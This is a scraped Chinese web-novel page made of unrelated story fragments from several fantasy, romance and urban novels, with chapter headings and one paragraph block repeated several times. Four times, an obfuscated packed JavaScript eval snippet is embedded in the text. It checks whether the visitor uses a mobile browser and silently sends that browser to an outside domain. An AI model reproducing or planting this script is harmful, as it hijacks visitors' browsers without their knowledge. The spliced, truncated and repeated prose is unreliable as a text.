听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144663|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 听闻此言,李云洲刚刚才抬起的膝盖,再一次跪回地面。 以前虽然穷,但吕树遇到老头老太太乞讨的时候还是会掏出点零钱,毕竟对方已经没有什么劳动力了。 仔细看这位王恒生,嘴角已经露了血丝,一边的眼睛也青了,一边的脸还肿胀了起来,走动的时候,还有多处不自然。想必刚刚被收拾的不轻。 但人生的许多事情却不能只从理性出发,人活着总要感性一回嘛。 所以他干脆转向地下,向下水道深处的地底暗河跑过去。老鼠的数量再多,总不能还会游泳吧,只要他潜入水中,就是真正的龙归大海,再来几十倍的老鼠都不怕。 当天色变化的速度慢到某种极致的时候就会导致人们区分不出来变化,就像是温水煮青蛙一样,当它感觉到温度难以忍受的时候就已经跳不出去了。 到了楼上大厅一瞧,人依旧显得那么多,江萧只好与梦依往高层走去,到了五楼之后总算找到一处靠着窗边的座位,要了些价格不菲的酒菜后,两人便浅酌着聆听周围的人闲聊。 晓是心神坚定的南宫云遥,望了她那楚楚可怜的目光一眼后,心中也有些于心不忍。 “好吧!那你说什么时间去就什么时间去!”我点了点头。其实我倒真不在意吴继续赢钱,她怎么也不会想到这个赌场的幕后老板其实就是我。 跟他一样听到声音的人也是不少,待见到南宫云遥后都行了个礼,将他们所遇到的事物都说了出来。 他叹了口气。若此刻君黎在自己面前,他还真的不知该不该将这样一个残酷的真相告诉他。 “不错,这阵法可以干涉人的视觉,甚至是意识,虽然我们之前感觉一直在靠近,但实际上,我们只是在山中转了圈子,虽然这样也能一点一点的赶到,但太慢了。”牧易也点点头。 当然,加藤爱并不认为他和那些电视剧里的反派相同,他和这些反派是有本质上的区别的。 艰难站起身的黑人老大,一手捂着嘴,带着怒火中烧的眼神看着石磊,却也没敢动手,连反应过来后,赶上来想教训石磊的两个同伴也被其拦了下来。 “是这样吗?”加藤爱笑了笑,随即站起身,用毯子裹住下半身。 萧夜闻言立刻收敛起全身气息,屏住呼吸,微微侧身,透过树叶之间的缝隙,朝远方看去。 这些桃树明显经过修建,长得不高,但树干树枝却很粗,错落有致,树形优美,结了这么多大桃子,树形还能保持完好,没有东倒西歪或垂到地上来。 甚至,箫夜怀疑这两人偷袭他只是顺带,真正的目的是想引诱欧阳玄踏出十八兵锋阵的笼罩范围,到时候只要拿下欧阳玄,朝阳村不攻自破。 “奇怪,食星蚁的动作怎么变慢了?”袁野挠了挠自己的后脑勺,一脸纳闷。 阎罗王还是那副打扮,一身黑色锦衣华服,高高的帽子前挂着长长的流苏,遮住了他的脸颊。 因为那里葬着老道,葬着他心灵的归宿,只要在那里,他就会感觉心灵无比的宁静,可以什么都不去想,可以坐在那里发呆,晒太阳,回归一个普通人的生活,没有那么多的烦恼,更没有压力。 第一卷 第238章 别驾方既白! “好嘞!您等着!”老板颠颠儿的又回去了,半天才出来,却是从里面又搬出了一坛来,还有七碟子八碗十几个下酒菜,鸡肉牛肉啥啥的弄了整整两个高高摞起来的食盒。 随即柯一雄灵力直接注入了乌亮的刀刃中,直接挥动起来,接连射出了几十道乌光,直接向龟宝射去。 人族虽然对比那些其他的种族在天生的体质方面可能有些弱势,但是在一些阵法的使用上,却足以弥补那些天生的弱势。 竟可一言道出自己的出身来历,可见眼前这位仙子绝非泛泛之辈,故而清虚道人不由出言问道。 但是只要是活人,哪能不动呢!天色渐渐暗了下来,而察合曼的爷爷此刻突然觉得内急,想要上个茅房。 亿万年来,地藏虽是释门中人,可却整日超度亡魂,消除的阴魂恶鬼不计其数,使得那些魂魄一一轮回转世,永生不忘地藏的恩德。 海映一见,心下大急,用力一扫,便要把那飞剑打开,前去救他,无奈朱武的功力比她高,那飞剑被击开之后,便又瞬间出现在她面前阻挡她的去路。 不等话音落地,只听耳边响起一道声音,“十绝大阵虽然不凡,可若想破阵也非难事!”随着话音,火榕飘然降下云头,望着杨戬微微一笑。 直到最后,也是没有一个妖魔去理会垒广,这便是现实,强者为尊的现实。 天玄子无奈,只能再次避开它的攻击,心里思咐着对付它的方法,而那个男子却还是一直在旁边叫喊,要天玄子放了他。 “怎么会呢。”夏仲春经过此事对黄姑娘的态度大大改观了,这姑娘就是被家里当成掌上明珠一般护着的,人单纯了些,却没有坏心。 随即抬眸,细致的看了眼面前的少年郎!只见那少年一身黑色衣袍,身形有些纤细,容貌也是极为的清秀俊逸,年龄大约十三四岁的模样,身高只到了自己的肩头,个子虽然不高,可是那双眼睛却是过于的锋利。 叶苍从阵法中走出来,恩师让自己保护这个世界,一定别有深意。 优花里:“那就拜托啰,等有机会装上新战车第一个给惠里开啦。”不愧是战车狂,回礼第一时间想到的就是战车。 其中,萧锋、马良辰、吴昊变成了骷髅形态。梦千雪、叶落、君无双、苏阳变成了幽灵形态。帝狂、杨戬、李淳、林袁变成了尸神形态。 “这 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 么一说……我还有些怀念开着BT坦克去单挑其他学校的日子呢。”惠里莎仰起头看了看天花板,说。 毕竟鬼王虽然因为鬼域变得强横无比。但怎么看,都像是天地在束缚他们的一种手段。 上层向右拐弯,桥体呈现白色,绵延数百米后便径直通向高高的虚空之中。 这一次,鸿兄见先生病倒了,一定飞回圣山去见先生的大师傅去了。 清音上人正在心烦意乱之际,出手一点儿没有留情,啪一声把长剑拍成了两段,光华尽失跌落下去。 “光当”,大『门』口响起安德森博士的声音,让正在嬉戏的獴们受惊,急哮着逃避往净化厂那边。 多罗根本就不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163825|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人拆穿卡洛米娅教会距离这里太远了何况谁会冒着与一个教会作对的风险来戳穿抄袭教典这一事实? 恶魔们的战斗方式变化多端,相对于主物质位面的生物来说,恶魔原本就具有心理优势。 浓雾中还传来若有若无的箫声。有时空寂,有时低声呜咽,如泣如诉,绵绵不绝。这是追忆,抑是挽曲,让人不得而知,琼琼听得潜然泪下。 其实,琼琼她本身就象似一个梦,有时飘忽让人感觉不到她的存在。 ,可不要因为同学相遇过于得意忘形结果就喝的天昏王璇在电话里柔柔地对吴凯交代道。 “大卫,又是你父亲打的你?”二王子和众贵族来到大卫的床边上,问候着大卫。 “喂,我说你到底怎么想的?是不是只是一时的气愤呢?”詹妮一见云峰不理她,就主动靠了过去,来回摇动着云峰。 可是,当他感到有这个可能时,博士的车子早已驶得看不见了。原振侠自然也没有在意。沿着马路,慢慢向前走着。 虽然早已得知她即将在本月20号和敖天霁订婚,但亲耳听到她说出来,他还是心痛不已。 夏雪被雷得风中凌乱。这么说,万吟曦欺骗了敖天霁。可是,她究竟是如何做到隐瞒这些的? 她想哭着问李岩,为什么要留下这个结局让她承受,她还想告诉李岩,其实最爱他的人是她,他怎么舍得她难过,为什么,每次见面,只是说几句话,他就要走。 “好强大的众生愿力……”叶进微微闭上了眼睛,感受着这股纯净的愿力洗涤全身的感觉,微微吁出了一口气。 第一卷 第239章 天下根基是百姓! 流焰怕她受伤,在进去前给了她一大顿灵丹妙药,她便误打误撞救了重伤的江离。 奔行了一段,远处突然升起腾腾雾气,当空皓月的亮光被雾气遮盖住,劈风刀刺客的身形若隐若现。 而何涣的话里,还透露出一个意思,那就是,在这场争斗之中,华武佣兵团绝对不能够付出太大的牺牲。 “我确实是已经记起来了,原来居然是你,难怪就在之前的时候,我就已经觉得你有些似曾相识呢。”陆彦看着她这个模样,才在一旁点了点头,如今的一个事情之下,无论如何,他倒是完全没想到的。 村子的最东头,有三间破落的老房子。这三间房子的主人早就离开了人世,他的后代们举家搬去了城里,只留下孤零零的老房子还耸立在那里,经受着风雨的侵袭。 既然已经加入了雕刻院,和几人处理好关系也是必须得,其实作为仙人,已经可以完全的辟谷了,但是又有谁可以忍受这口腹之欲呢? 看着一旁的厉染,她的脸上渐渐露出了一丝微笑,笑得很甜很温馨。 不错,与敖睚眦为敌的,都是好人。可是,广林仙姑恶恨恨的说我欠她的东西,要当着陆判哥哥的面,让我们加倍奉还时的表情,宛如污秽咒一般,深深烙在我的心上,每时每刻,似乎都在提示我什么。 他翻身一跃朝吞天兽落地的那个地方一跃而下,他和那头吞天兽几乎是同时落地。 回头看了看天疆众人,已经占据上风。而牧神那边更是压制阎王,强势三分以上。 \t而现在公司里的构架,总经理是民间资本投资方请来的管理人员,下边儿两名副总和十几个办公室负责人,政府和投资方的人各占一半。 草薙京的这只宝箱,爆出草薙剑已经是绝对超值了,就算剩下两次抽牌全是垃圾也无所谓。 “不磕磕碰碰那还是球场么,告诉他,别有心理负担。。”高川对西班牙语较好的郑江说道。 “排长,为什么不让我们攻击这些畜生?一路过来,看到它们伤了好些人了。”见蔡龙把他们安排在门窗后面,又要求大家不得进攻,布拉斯不解地问道。 突然,四周气息涌动,云雾变幻,相互连接,明明已经被分尸的白雾魔兽,此刻竟再度化作一个整体。张牙舞爪,狰狞无比,四周巨树,仿佛都带了些颤抖。 汪自在原本是可以继续 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 等消息的,不过昌临县那里却传来不好的事儿,他不能再等了,再等下去,有了钱,也没命去拿。 “他们居然没有被冰蝠吸引?为什么明明有武器,却不和冰蝠作战呢?”莱托纳有些疑惑道。 只是,不知道是不是放假的原因,人特别多,连个停车位都找不到。 果然,李安这边才刚刚一动,那边绿毛僵尸就眼皮微微一抬,尽是讥讽之色。 徐墨练了一会儿只好停手,碰运气的事并非不可做,但那是在没有办法和出路的情况下无奈的选择,现在他有更好的增强自己实力的途径,何必把时间浪费在这种效率低下的事情上呢? 普门、带诺斯、达夫、丝娜可四人以及两大虫族母皇都六人连忙躬身。 聂融刚躲过突然迸发出来的神力攻击,肥胖不朽那足以击杀普通不朽军主的可怕斩击就随着朝着聂融攻击而来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163826|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这里的动物似乎散发着灵气,让人有许多想法,尤其是他这种对于奇异生物有特殊感应的人。 雪舞感觉很是惊奇,刚才她感觉不到速度,而且丝毫没有风吹过,没想到看看周围,已经到了这个地方。 像何国华如此高位的官员,如果被众多的亲友之道生病的话,恐怕他的病房就会一刻也不消停了。 看到我的态度。无名这样对张自豪我提出坚决不同意,可以再打下去就到了。 皇甫冈野听得差点背过气去,大哥一定是疯了,居然敢当面拿血刀第二号人物来开玩笑,就是十个脑袋也不够赔。色变下,连连向他施眼色。 至于橙色之下的徽章,对于佩戴白色徽章的聂融来说,橙色一下的徽章不计战功。 这特么分明就是在耍我呢,就算来人是步行过来的,四五分钟那也能走出好几百米的距离。 来自地球的雷神与罗海等人心情越发激动。与来自黑龙山帝国普通观众相比,来自地球的雷神等人与洪的关系无疑要亲近很多。 一颗深邃的尾兽炮急速轰来,空中的杜崇骤然张开双翼,龙鳞在身体表面浮现,双手持棍狠狠挥击。 “这么粗心,怎么手机还不带。上个厕所还要给我留言?”说着,耿强拿起了手机,然后拿起了手机下面的纸条,看了起来。 如此情况竟然一直持续了一个多月,最后还是因为玄宗中招收的弟子太多,而不得不停止下来了。 其实耿强并没有死只是由于体力消耗太大,昏迷了过去,而且因为喝的费勒的血太多,不但把肚子撑的鼓了起来,还从嘴里不断的往外溢。此时被严蕊抱在怀里,被她一阵摇晃渐渐就醒了过来。 第一卷 第240章 拜访李家! “这里是幽冥海域我们底下是一片**大海此地水汽旺盛昼夜温差大水汽蒸发便产生了头顶的这一大片乌云。”妙尘解释道。 不过张团长刘政委等人倒是来到了山下接他们算是给足了他们面子了。 这代人的年龄段没有遇到香港电影的巅峰期。不是爱刷剧的那种很多电影电视剧都没看过。 想想蓝姐姐的性格如果不是遇到宁致远这样的男人换了别人情感上难免会受到伤害。 这颗黑色的能量球除了有邪气以外还有破坏之力和元素之力正常情况下未八即使迎接这颗能量球也不会有时但在接二连三的受伤后使得她的身子已经完全崩溃身上的黑气也散去大半完全无法抵抗如此强大的能量。 杨鹏翔顿时感觉头皮发麻别说是他杨鹏翔这天下估计也没有谁能顶得住这十几个家伙的**了。 陈宇日常送三个妹妹上学进入六中坐在二年二班自己的座位上。 宁致远调整了下姿势背靠着栏杆让自己这边的视频画面将大概也收进了一部分。 九点是评测视频上传的时间 “老梁这到底是怎么一回事?她怎么……”陆茗焉的话到此为止眼神朝着寒糖香看了看去。 一想到人生长河中第一次御空飞行即将在棺材上实现一股宿命**感在心底油然而生。 手里的密诏递了过去太史慈恭敬的双手接过随后将密诏打开仔细浏览一遍言辞恳切令人为之动容。 这支由他所训练出的新军在这场持续数日的攻坚战中发挥出了中流砥柱的作用没有退缩和胆怯更没有给他丢脸。 陈娘的意思她也知道也不想耽误了王六希。作为一个清倌许卿卿却也觉得有些侮辱自己更别说王六希了。她知道六希也不是很喜欢来这儿找她可是谋生又谈何容易呢。 所有人都屏气凝神不敢说话静静凝望着高悬于此处正上方的一坨灰色云霞。 石青阳微愣后才理解了赵莹和顾鸿辰的意思顿时醒悟过来而此时星耀骑兵已经将双轮马车安置好了。 傅燕算是个点醒的代表一件宽松的白圆领短袖不过不得不说这妮子的规模挺大就这宽松的衣服身前也是突出的很明显下身一 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 条超短牛仔热裤,穿着一双粉色的AJ,头上还戴着一顶嘻哈帽。 此刻陆吾冷笑不已,抓住三圣门弟子肩膀的那只手稍一用力,这家伙就痛的叫出声来。 欧阳娜娜最终也并没有参加军训,本身军训开始的时候,叶子铭都还没醒,完全就不可能会去,哪里放的了心,到后来,都已经错过了,那也就更没必要去了,这事上,周琦是帮了忙的,和对方学校的领导打了招呼。 神灵法则力量对于天域圣贤来说,只是一种相对于灵力神通的秘术而已。 后天激发异能所需的毅力不是常人可及,其中的九死一生无法言喻,九儿无法感同身受,但却实实在在的欢喜。 呐喊声又起,童浩然带领重骑兵出击了,这批重骑兵迎着匈奴军直冲敌阵。 “你有黑科技吧!有什么东西没有给我们分享的吗?”鼠接话道。 四下翻了翻,没有什么有用的东西,弄了几种武器准备回去给鼠带着,希望以后能派上用途。 轻哼了两声,司命那厮…当初还说什么定要将这些东西给扔了…诓我!明明收的好好的…定是那厮自己也想看,舍不得扔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163827|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我抿了抿唇,不管是封无忌,亦或是封无殇,眼眸均是坦荡无比,反观那太子,神色却颇为阴狠狡诈,两相对比,高下立见。 这时,就在两人喝酒扯犊子的功夫,96家的房门被人从外面迅速推开,孙洪江慌慌张张的跑了进来。 四周的死士互相对望一眼,旋即紧握着手中的武器,再次对着蓝枫等人的方向,暴冲而来。 就这样看着看着,时间悄然无声地溜走了,教室里面最后一道下课铃也响了起来。 思绪回来,王太卡开着车,有些沉默。旁边的囧晶说着什么,他有一句每一句的答应着,心里却没有怎么注意。 “那萱儿想问什么?”柳玖儿故意装出耐心的笑容询问,只有询问才知道她到底听到了多少。 苏乐和赵易脸上的表情委实的精彩,心中顿时对方言愤恨无比,他们不明白,凭什么鼎天会看重这个不知所谓的方言,这不是搞笑么。 见方言不作声,一脸的平静,公孙离急了,这可是领导交给她的任务,她才赶过来的。 身形更是一飞而起,眼看着,这是要站在主阵的位置之上一同施展剑阵了。 房间内,方言捧着年诗蕾送他的martind28吉他,脑海里浮现她哭泣的画面,在飞机上不觉得什么,可是现在一静下来,他就想起她对他说过的话,大概这就是思念。 “现在伤不伤害都不是重要的,你们为什么要**玖儿呢?难道我们做的承诺一点用处都没有?”苏烨华气氛道,他真狠自己,每当玖儿出现苦难的时候,他都不陪在身边,却一次次让三皇子得逞。 战鼓声和喊杀声以及哀嚎声,撞击声交织在一起,扬州港口硝烟弥漫,一片狼藉。 第一卷 第241章 马踏李家门楣! “叮……” 明明是你生怕胡新月听不到,花钱让满大街的孩童四处传唱呢吧? 雷霆战队之前没打过正式联赛,可今年他们的实力突飞猛进,有如神助。 他又看了看心芳,他能够感觉到心芳刚才是在用自己的生命在战斗。 看到那九品测试石被搬上来,台下的观众再次惊呼,这种东西可是专业的测试天赋的宝贝,一般势力都是没有的。 “请借过一下。”唐娜儿把手搭在了一个路人的肩膀上,同时,魂力传音让附近的人都听到。 苏曼青本来就名不见经传,目标并不大,而王道甄已经隐居修炼了很久,本人也没有被很多人录入江凡团队,也是比较安全的。 刚刚过了几个艳阳天,本来已经十分暖和的天州又笼上了一层了寒意,老人们口中常说的“倒春寒”来了。 他们给沈笑笑安排了一间员工宿舍,可沈笑笑能够感觉得到,她周围都是眼睛,那里所有的人,都会紧紧的盯着她这个外人。 他唯一赢的机会,就是凑巧伤到主簿,并且主簿令牌能够吞噬对方的力量。最关键的,是他能够支撑到双方力量反转的那一刻。 洛月灵嘟嘟嘴,这一幕她见过,当天在胡家赌场当中,林风便是让秦阳的胳膊化成了血水。但那时候的她可没有现在的记忆和见识。 